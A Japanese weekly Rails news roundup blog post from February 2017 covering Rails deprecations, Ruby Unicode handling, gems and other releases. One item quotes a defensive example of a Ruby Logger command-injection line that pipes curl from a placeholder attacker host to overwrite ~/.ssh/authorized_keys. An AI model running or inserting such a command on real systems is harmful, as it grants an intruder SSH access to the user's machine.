- 開発
週刊Railsウォッチ(20170217)Rails 4.2.8.rc2リリース、Ruby 2.4正規表現とActiveSupportのnormalizeほか
こんにちは、hachi8833です。週刊Railsウォッチの記事件数が増えて泣く泣く絞り込むことが増えてきました。それでは今週もいってみましょう。
臨時ニュース: JavaScriptのアドレス空間配置ランダム化を無効にする攻撃
morimorihogeさんがつい先ほどfetchしたニュースです。詳しくはリンク先をどうぞ。
HackerNewsでも元論文が上昇中のようです。
Rails 4.2.8.rc1リリース(Rails公式より)
- ニュースソース: Rails 4.2.8.rc1 has been released!
Rails 4.2.8のRC1がリリースされました。問題がなければ2/25に正式版リリースとありますが、記事執筆時点ではまだ公開されていません。
dirtyなレコードのロックが非推奨に(Rails公式より)
変更の結果は以下です。
# activerecord/lib/active_record/locking/pessimistic.rb
if persisted?
if changed?
ActiveSupport::Deprecation.warn(<<-MSG.squish)
Locking a record with unpersisted changes is deprecated and will raise an
exception in Rails 5.2. Use `save` to persist the changes, or `reload` to
discard them explicitly.
MSG
end
reload(lock: lock)
end
self
end
BPS Webチームのtakanekoさんから「そういえばdirtyなレコードはロックされていようといまいとアクセスすればSQLが発行されてしまうのでリロードされちゃいますね」と教わりました。
コールバック定義への文字列渡し(非推奨)が廃止に(Rails公式より)
以下のようにコールバックのif
やunless
オプションに文字列を渡すのは今後できなくなるそうです。
# Railsガイドより
class Order < ActiveRecord::Base
before_save :normalize_card_number, if: "paid_with_card?"
end
PRのkamipoさんコメントで「今後コールバックに文字列を渡したらArgumentError
出すようにする」とありました。
Webチームのtsunekawaさんの指摘で気づきましたが、廃止されるのはRails 5.2からなんですね。
「う、文字列渡し使ったことあるかも」という焦りの声がちらほらとありました。文字列を渡す方法はRailsガイドにも書かれていたオプションです。Rails 5.2へのアップグレードではチェックが必要になりそうですね。
ActiveRecord::Base.as_jsonでfrozenしたハッシュを渡せるようになった(Rails公式より)
修正はclone
をdup
に変えるだけというピンポイントにキモチイイものでした。clone
とdup
の違いについて一同で速攻調べました。
dup はオブジェクトの内容, taint 情報をコピーし、 clone はそれに加えて freeze, 特異メソッドなどの情報も含めた完全な複製を作成します。
clone や dup は浅い(shallow)コピーであることに注意してください。
Rubyリファレンスマニュアルより
従来のclone
ではfreezeが解除されなかったということですね。
RubyのUnicodeサポートについての記事(RubyFlowより)
"動くな! Unicode警察だッ"
- ニュースソース: Testing Ruby's Unicode Support
「Ruby 2.4の正規表現でウムラウト付きä
あたりの動作がおかしいゾ!」という記事ですが、いろいろとツッコミどころが多く、BPS社内で容赦なくマサカリが飛んできました。
"ä".dump
したら"\"a\\u0308\""
になるんだから、"ä".each_char.to_a
が["a", "̈"]
になるのは正しいのでは?- この
ä
って結合文字だよね? - 単独文字と結合文字を一緒に扱ってYO!って言ってる?
- それとも結合文字使っていることに気づかないまま大騒ぎしている?
ということで真に受けてはいけない記事でした。
最初に読んだとき、ä
はスウェーデン語などで使われているので、本当に問題ならずっと前に騒ぎになっていたのでは?と思ってしまいました。
日本語圏ではめったに着目されませんが、Unicodeの仕様では以下のどちらも許容されています(参考: Unicodeの基本コンセプト)。
これらの文字は、結合かどうかにかかわらず画面では1文字として表示されるので見ただけではわかりません。
↑上はRuby 2.4での結果です。
確かに、RailsのActiveSupportには#normalizeメソッドがしっかりありますね。ウムラウトはもちろん、後述のカタカナから分離した濁点・半濁点も正規化してくれます。
そういえばRDBMSのコレーション(collation)における単独ä
と結合ä
の扱いはいかにも実装に依存しそうですが、Unicodeの仕様どおりなのは果たしてどのRDBMSなのか、バイナリにしなくても区別する/しないを指定できるのかなどが気になってきます。
ついでに: 濁点・半濁点分離問題
日本語圏でこれと少し似ているのが、カタカナの半濁音「パピプペポ」が、変換のはずみで半濁点「U+309A」が「ハ゜ヒ゜フ゜ヘ゜ホ゜」のように分離してしまう問題です。濁点も同様です。
MacとWindows間でやりとりしたファイルの名前などでときどきこの問題が発生します。
しかもUnicodeの全角カタカナ半濁点には2種類あり、後者の結合用半濁点に変換されてしまうとブラウザ上などでは1文字として表示されるので目視で確認できず、より厄介です。
参考
babaさんおすすめの一次資料はボリューム感たっぷりなので、別の機会に追ってみたいと思います。
Loggerにリモートコード実行(RCE)攻撃を仕掛ける(RubyFlowより)
昨年末の記事です。以下のようにLogger#new
の引数にパイプ付きのcurlを食べさせると実行できてしまうという指摘です。即脆弱性につながるものではないにしても、Loggerといえどもファイルパスの引数に外部入力をそのまま食べさせるのはやめましょう。
# http://gavinmiller.io/2016/how-is-logger-susceptible-to-rce/ より
Logger.new("|curl http://attacker.url -o ~/.ssh/authorized_keys")
Gavin Miller氏のブログはRailsのセキュリティ関連の記事が多く、参考になります。
Hanami 1.0.0が4月にリリース予定
- ニュースソース: Announcing Hanami v1.0.0.beta1
- リポジトリ: hanami/hanami
HanamiといえばRailsのオルタナティブとして東ヨーロッパ方面で人気のRubyベースのWebフレームワークです。日本の花見の季節に合わせてリリースしたいようです。
現時点のコミット数は1300台で、Railsの60,000台とは比較になりませんが、健闘しているようです。
Rubyで役立つデザインパターン13選(RubyFlowより)
- リポジトリ: Design Patterns in Ruby
BPS Webチームのオブジェクト伝道師kazzさん御用達ですね。GoFのデザインパターンは23ありますが、その中からRubyに向いた13のパターンを選んだそうです。
コード中心で説明が簡潔なのでとても読みやすいと思います。
- Adapter
- Builder
- Command
- Composite
- Decorator
- Factory
- Interpreter
- Iterator
- Observer
- Proxy
- Singleton
- Strategy
- Template Method
Pront gem: 変更点のみに絞った高速コードレビュー(RubyFlowより)
- ニュースソース: Pronto v0.8.0 released!
- リポジトリ: mmozuras/pronto
gitのdiffを使ってrubocopやflayを狙い撃ちでかけられるようです。GitLabやBitBucketのCIにも統合できるとあります。ランナーが豊富なのが目につきます。
Redisのデータでオートコンプリート
- ニュースソース: Autocomplete Using Redis
オートコンプリートのデータを、データベースからLIKE
で取り出す代わりにRedisから送り込むことで高速化する方法を解説しています。
RedisはKVS(key-value store)をメモリ上に構築するソフトウェアです。
- 参考: Redisとは
pry-railsのプロンプトをenvironmentに合わせて自動切り替え(RubyFlowより)
紹介されているスクリプトを~/.pryrcに貼るだけで、pry-railsのプロンプトに現在のenvを表示してくれます。
「これ便利かも!」という声があがりました。本番でコンソール作業中に.envを設定し忘れていてもこれならすぐ気づけそうです。
早速やってみました。う、表示が狭くなった...
人気gemランキングを読む(Ruby Weeklyより)
RubyGems.orgのランキング情報を解説しています。
Open-Source Software. What is in a poke?の「All Time data」より
ランキング上位なのに日本語記事がほとんどないgemがいくつかありますね。
git-deployはHeroku風にgit push production master
で簡単にデプロイできます。Railsに限らず広く使えるgemのようです。
一同でランキングを見ているとgonの人気も高いことに気づきました。gonはRailsからJSONをブラウザのJavaScriptに渡せるgemです。
これは私の推測ですが、gonのランキングがこんなに高いということは、RailsがバックエンドでJSがフロントという構成がかなり増えているということなのでしょうか。
i18n-active-record: i18nをActiveRecordベースで扱えるgem
- リポジトリ: svenfuchs/i18n-active_record
Railsのi18n(国際化)といえば、config/locales/の下にロケールごとのymlファイルをずらりと並べて切り替えるという方法が主流ですが、ymlの代わりにActveRecord経由でデータベースに保存できるgemです。
# https://github.com/svenfuchs/i18n-active_record より
class CreateTranslations < ActiveRecord::Migration
def self.up
create_table :translations do |t|
t.string :locale
t.string :key
t.text :value
t.text :interpolations
t.boolean :is_proc, :default => false
t.timestamps
end
end
def self.down
drop_table :translations
end
end
小規模であれば数個の.ymlファイルだけで何とかなったのが、規模が拡大するにつれて.ymlファイル間の一貫性が損なわれたり、特定の文言だけを数十言語に渡って一斉に串刺し更新するのが恐ろしく面倒になるというのは容易に想像がつきます。いつかはこういう日が来ます。
翻訳文字列をyml管理からデータベース管理に切り替えたい方は要チェックです。
リポジトリの最後にあるBEYOND YML FILES - DYNAMIC TRANSLATIONSも良記事です。ヨーロッパの小国では自国語だけでWebサービスを作ってもまるで稼げないので、国際化・多言語化は常に切実な問題です。
Rubyだけでできるデバッグ技(RubyFlowより)
- ニュースソース: Ruby Debugging Magic Cheat Sheet
簡単ながら良記事です。すべてRubyの機能だけを使うので、pry-debuggerなどが使えない状況で役に立ちそうです。もちろんpryで使ってもかまいません。
- メソッドの定義ファイルの場所をその場で知るには
- プロジェクトで使っているgemを開くには
- デバッグ用に書き換えたgemを元に戻すには
- メソッド呼び出しをバックトレースするには
super
がどこで呼ばれているかをその場で調べるには- オブジェクトの全メソッドをリストするには(さすがに簡単すぎるかも)
- インスタンスメソッドの定義ファイルの場所をその場で調べるには
- メソッドの引数をその場で調べるには
- 引数が変更された場所を調べるには
- 定数がどこで作成されたかを調べるには
TechRacho記事『RubyのIRBやpryでメソッドの定義元をすっと調べる方法』でもご紹介した#method
メソッドを活用している例が多いですね。まだまだいろんなことができそうです。
なお、以下は著者もまだ方法を見つけられていないそうです。どなたかわかりますでしょうか?
takeover.sh: ssh経由でリブートなしでLinuxシステムをクリーンアップ・再インストール(HackerNewsより)
コード量が恐ろしく少ないのが特徴です。WARNINGと4回連続で書いてあります。チャレンジャー求む。
Stackoverflowでメンションが多かった書籍ベスト30(HackerNewsより)
栄えある1位は『Working Effectively with Legacy Code』でした。何と2004年の本です。
[tmkm-amazon]B005OYHF0A[/tmkm-amazon]
[tmkm-amazon]B01AN97W08[/tmkm-amazon]
一同でランキングを見ていて、『JavaScript Good Parts』の内容が古くなってるらしいとの話が出たので、QuoraにあったQ&Aを貼っておきます。
[tmkm-amazon]4873113911[/tmkm-amazon]
書籍「ゼロから作るOS」(HackerNewsより)
- ニュースソース: Operating System: From 0 to 1
- サンプルコード: tuhdo/sample-os
文字どおりOSをゼロから作るという企画です。ハードウェア(電気)の知識も必要とあります。
ベータ版書籍をリンク先で無料でダウンロードできます。サンプルコードは記事執筆時点で3日前と、まだ湯気が立ってますね。
PythonリポジトリがGitHubに引っ越す(HackerNewsより)
- リポジトリ: python/cpython
今までGit化されていなかったとは知りませんでした。
週末一番使っているのは何よ?(HackerNewsより)
StackOverflowのタグベースで分析しているので、プログラミング言語でないものもいろいろ混じってます。週末だから趣味、とは限らないのでいろいろと想像を巡らせてしまいます。
上のグラフはタグごとの質問数で、左上ほど週末に質問数が増えているようです。左上の頂上ではアセンブラとHaskellとOpenGLがトップを争っています。SharePointが左の下にさみしく落っこちているあたり、週末SharePointのつらさがしのばれます。(´・ω・`)
Go 1.8がリリース
- ニュースソース: The Go Blog: Go 1.8 is released
予定どおりリリースされました。おめでとうございます。
詳しくはリリースノートをご覧ください。ガベージコレクションを含むパフォーマンスがいろいろと改善されたようです。
なお記事執筆時点ではまだhomebrew-coreには反映されていません。
今週は以上です。
関連記事
- 週刊Railsウォッチ(20170210)JRubyやRubiniusの配列への追加はスレッドセーフではないほか
- 週刊Railsウォッチ(20170203)AnyLogin gemで開発中に楽々再ログイン、イベント数ベース課金の監視サービスRollbarほか
- 週刊Railsウォッチ(20170127)わかりやすいAWSサービス名、Rails DBは便利、TruffleRubyの驚異的速度ほか
- 週刊Railsウォッチ(20170120)Ruby 2.5.0 devリリース、古いMySQLのサポート終了、uniqメソッドが削除ほか
- 週刊Railsウォッチ(20170116)Ruby 2.4の詳細、範囲指定したsumメソッドは速い、rescueの挙動を動的に変更ほか
- 週刊Railsウォッチ(20170110)ReactをRailsに置き換える、Ruby 2.4の新機能ほか
- 週刊Railsウォッチ(20161224)Float#roundの動作変更を取り消し、Rails 5.0.1/Ruby 2.4.0-rc1リリースほか
- 週刊Railsウォッチ(20161218)Ruby 2.4ではFloat#roundの動作が変わる、デフォルトのプライマリキーをBIGINTに変更ほか
- 週刊Railsウォッチ(20161209)Active Supportの非推奨メソッド廃止、RailsのjQueryへの依存を廃止ほか
- 週刊Railsウォッチ(20161125)Railsのデータベース・ベストプラクティス、SQLインジェクション解説ほか
- 週刊Railsウォッチ(20161117)DockerホスティングのHyper.sh、accepts_nested_attributes_for殺すほか
- 週刊Railsウォッチ(20161109)bundler audit gemは超おすすめ、CIAのFactbook gemほか
- 週刊Railsウォッチ(20161102)HTML 5.1正式勧告、CSS中央揃えに便利なサイトほか
- 週刊Railsウォッチ(20161027)LinuxカーネルのDirty COW脆弱性、DeviseはWikiを読めほか
- 週刊Railsウォッチ(20161019)ObjectSpaceモジュール活用法、Capybara統合、コミッターを撮影するソフト
- 週刊Railsウォッチ(20161012)RubyのHashの詳細、RethinkDBの会社が終業ほか
- 週刊Railsウォッチ(20161005)Mac OS SierraとRubyの問題、Learning Gitほか
- 週刊Railsウォッチ(20160928)constantizeの注意点、GoのGUI “gallium”登場ほか
- 週刊Railsウォッチ(20160921)クールなHTMLエディタ「Mozilla Thimble」他
- 週刊Railsウォッチ(20160913)MySQLの脆弱性ほか
今週の主なニュースソース
ソースの表記されていない項目は独自ルート(TwitterやRSSなど)です。